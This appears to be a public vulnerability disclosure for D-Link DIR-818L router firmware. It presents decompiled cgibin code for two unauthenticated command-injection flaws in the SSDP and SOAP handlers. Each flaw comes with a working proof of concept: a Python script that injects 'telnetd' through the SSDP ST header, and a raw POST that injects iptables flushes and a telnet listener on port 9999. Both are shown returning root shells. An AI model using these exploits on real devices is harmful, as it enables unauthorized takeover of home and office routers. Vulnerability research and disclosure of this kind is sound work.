




 main ▾

...

**iot** / DIR-818L.md

 1759134370 Update DIR-818L.md History

 1 contributor

 80 lines (65 sloc) | 2.95 KB ...

# one

---

## Firmware:

---

DIR818L\_FW105b01 A1:

## Detail:

---

Command execution exists in the cgibin binary The ssdpcgi\_main function has a command execution vulnerability caused by unfiltered parameters

```
:
    lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);
    return 0;
}
if ( !strcmp(v2, "upnp:rootdevice", 0xFu) )
{
    v8 = v3;
    v9 = "%s rootdevice %s:%s %s &";
    goto LABEL_14;
}
if ( !strcmp(v2, "uuid:", 5u) )
{
    lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
    return 0;
}
v7 = strcmp(v2, "urn:", 4u) != 0;
result = 0;
if ( v7 )
    return result;
if ( strstr(v2, ":device:") )
{
    lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
    return 0;
}
if ( strstr(v2, ":service:") )
{
    lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
    return 0;
}

ssdpcgi main:67 (40E304)
```

```

1 int __fastcall ssdpcgi_main(int a1)
2 {
3     int result; // $v0
4     char *v2; // $s0
5     char *v3; // $s3
6     char *v4; // $v0
7     char *v5; // $s2
8     const char *v6; // $s1
9     bool v7; // dc
10    char *v8; // $a2
11    const char *v9; // $a0
12
13    result = -1;
14    if ( a1 == 2 )
15    {
16        v2 = getenv("HTTP_ST");
17        v3 = getenv("REMOTE_ADDR");
18        v5 = getenv("REMOTE_PORT");
19        v4 = getenv("SERVER_ID");
20        v6 = v4;
21        if ( v2 && v3 && v5 )
22        {
23            v7 = v4 == 0;
24            result = -1;
25            if ( !v7 )
26            {
27                v7 = strchr(v2, 96) != 0;
28                result = -1;
29                if ( !v7 )
30                {
31                    v7 = strchr(v3, 96) != 0;
32                    result = -1;
33                    if ( !v7 )
34                    {
35                        v7 = strchr(v5, 96) != 0;
36                        result = -1;
37                        if ( !v7 )
38                        {
39                            v7 = strchr(v6, 96) != 0;
40                            result = -1;
41                            if ( !v7 )
42                            {
43                                if ( !strncmp(v2, "ssdp:all", 8u) )
44                                {

```

lxmldb\_system:

```

1 int lxmldb_system(const char *a1, ...)
2 {
3     char v2[1028]; // [sp+1Ch] [-404h] BYREF
4     va_list va; // [sp+42Ch] [+Ch] BYREF
5
6     va_start(va, a1);
7     vsnprintf(v2, 0x400u, a1, va);
8     return system(v2);
9 }

```

You can see that the environment variables are concatenated directly into the system command without filtering

# poc:

---

```
import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
    header = "M-SEARCH * HTTP/1.1\n"
    header += "HOST:"+str(ip)+":"+str(port)+"\n"
    header += "ST:urn:device:1;telnetd\n"
    header += "MX:2\n"
    header += 'MAN:"ssdp:discover"'+ "\n\n"
    return header
def send_conexion(ip, port, payload):
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
    sock.sendto(payload,(ip, port))
    sock.close()
if __name__== "__main__":
    ip = raw_input("Router IP: ")
    port = 1900

    headers = config_payload(ip, port)
    send_conexion(ip, port, headers)
    sleep(5)
    os.system('telnet ' + str(ip))
```

```
Router IP: 192.168.0.1
ls
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
ls

BusyBox v1.14.1 (2015-04-19 18:00:50 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# ls
root      www      sys      mnt      home     lost+found
run       var      sbin     lib      etc
etc_ro    usr      proc     include  dev
firmadyne tmp      mydlink  htdocs   bin
#
```

I looked it up online and it looks like it's been there for a long time

## two

---

## Firmware:

---

DIR818L\_FW105b01 A1:

## Detail:

---

Command execution exists in the cgibin binary I found unauthenticated remote code execution vulnerability in function of binary.soapcgi\_main

```

1 int soapcgi_main()
2 {
3     int v0; // $s0
4     int v1; // $s4
5     char *v2; // $s3
6     char *v3; // $s1
7     char *v4; // $s0
8     char *v5; // $s2
9     int v6; // $a0
10    const char *v7; // $a1
11    const char *v8; // $a2
12    char *v9; // $v0
13    char *v10; // $s1
14    char *v11; // $v0
15    const char *v12; // $s0
16    char *v13; // $v0
17    const char *v14; // $s1
18    __pid_t v15; // $v0
19    char *v16; // $v0
20    const char *v17; // $s3
21    __pid_t v18; // $v0
22    const char *v19; // $s7
23    __pid_t v20; // $v0
24    FILE *v21; // $s3
25    __pid_t v22; // $v0
26    __pid_t v23; // $v0
27
28    v0 = 0;
29    v1 = sub_40E6B4();
30    if ( v1 >= 0 )
31    {
32        v2 = getenv("CONTENT_TYPE");
33        v3 = getenv("REQUEST_URI");
34        v4 = getenv("HTTP_SOAPACTION");
35        v5 = getenv("REQUEST_METHOD");
36        if ( v2 && !strncasecmp(v2, "text/xml", 8u) )
37        {
38            if ( !v3 )
39                goto LABEL_21;
40            if ( !v4 )
41                goto LABEL_21;
42            v9 = strchr(v3, 63);
43            v10 = v9;
44            if ( !v9 || strncmp(v9, "?service=", 9u) )
45
46                ,
47                "/var/run",
48                v14,
49                v18);
50            if ( !xmldb_ewhp_wb(0, 0, byte_438D00, byte_437D00, 4096) )
51            {
52                if ( !cgibin_fill_http_content_len(byte_437D00, 4096) )
53                    printf("%s", byte_437D00);
54                v20 = getpid();
55                sprintf(byte_438D00, "%s/%s_%d.sh", "/var/run", v14, v20);
56                v21 = fopen(byte_438D00, "a+");
57                if ( v21 )
58                {
59                    v22 = getpid();
60                    fprintf(v21, "rm -f %s/%s_%d.sh", "/var/run", v14, v22);
61                    fclose(v21);
62                    v23 = getpid();
63                    sprintf(byte_438D00, "sh %s/%s_%d.sh > /dev/console &", "/var/run", v14, v23);
64                    system(byte_438D00);
65                }
66            }
67            v0 = 0;

```

Unfiltered functions result in being spliced into the system command

## poc:

---

```
#nc 192.168.0.1 49512
```

```
POST /soap.cgi?service=whatever-control;iptables -P INPUT ACCEPT;iptables -P
FORWARD ACCEPT;iptables -P OUTPUT ACCEPT;iptables -t nat -P PREROUTING
ACCEPT;iptables -t nat -P OUTPUT ACCEPT;iptables -t nat -P POSTROUTING
ACCEPT;telnetd -p 9999;whatever-invalid-shell HTTP/1.1
Host: 192.168.100.1:49152
Accept-Encoding: identity
Content-Length: 16
SOAPAction: "whatever-serviceType#whatever-action"
Content-Type: text/xml
```

We can see that port 9999 is opened

```
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-09 21:09 CST
Nmap scan report for 192.168.0.1
Host is up (0.0058s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
80/tcp    open  http
443/tcp    open  https
8181/tcp   open  intermapper
9999/tcp   open  abyss
49152/tcp  open  unknown
```

```
nc 192.168.0.1 9999
```

```
♦♦♦♦!♦♦♦♦

BusyBox v1.14.1 (2015-04-19 18:00:50 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# ls
```

This bug is also a bug that has appeared in other versions

